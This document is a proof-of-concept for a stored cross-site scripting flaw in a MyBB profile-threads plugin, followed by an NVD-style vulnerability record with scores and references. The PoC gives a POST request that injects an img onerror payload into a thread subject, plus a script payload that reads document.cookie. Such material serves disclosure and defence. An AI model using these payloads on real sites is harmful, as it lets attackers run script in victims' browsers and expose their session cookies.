CVE-2018-25250

<!-- PoC for CVE-2018-25250 - Stored XSS in MyBB Plugin Step 1: Attacker creates a new thread with the subject containing the payload. --> POST /newthread.php HTTP/1.1 Host: target-mybb-site.com Content-Type: application/x-www-form-urlencoded subject=<img src=x onerror=alert('CVE-2018-25250')>&message=test_content&fid=2 <!-- Step 2: Victim visits the attacker's profile page. URL: /member.php?action=profile&uid=[ATTACKER_UID] Step 3: The JavaScript alert will execute in the victim's browser. --> <script> // Example payload to be injected in the thread subject field var payload = '<script>alert(document.cookie)<\/script>'; console.log('Injecting payload: ' + payload); </script>

{"cve": {"id": "CVE-2018-25250", "sourceIdentifier": "[email protected]", "published": "2026-04-04T14:16:21.033", "lastModified": "2026-04-20T14:31:19.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MyBB Last User's Threads in Profile Plugin 1.2 contains a persistent cross-site scripting vulnerability that allows attackers to inject malicious scripts by crafting thread subjects with script tags. Attackers can create threads with script payloads in the subject field that execute when users visit the attacker's profile page."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mybb:last_user_threads:*:*:*:*:*:mybb:*:*", "versionEndIncluding": "1.2", "matchCriteriaId": "CC9E2673-C62D-42E1-A807-70520B2EB458"}]}]}], "references": [{"url": "https://community.mybb.com/mods.php?action=view&pid=910", "source": "[email protected]", "tags": ["Permissions Required", "Product"]}, {"url": "https://www.exploit-db.com/exploits/44339", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/mybb-last-user-s-threads-in-profile-plugin-persistent-xss", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}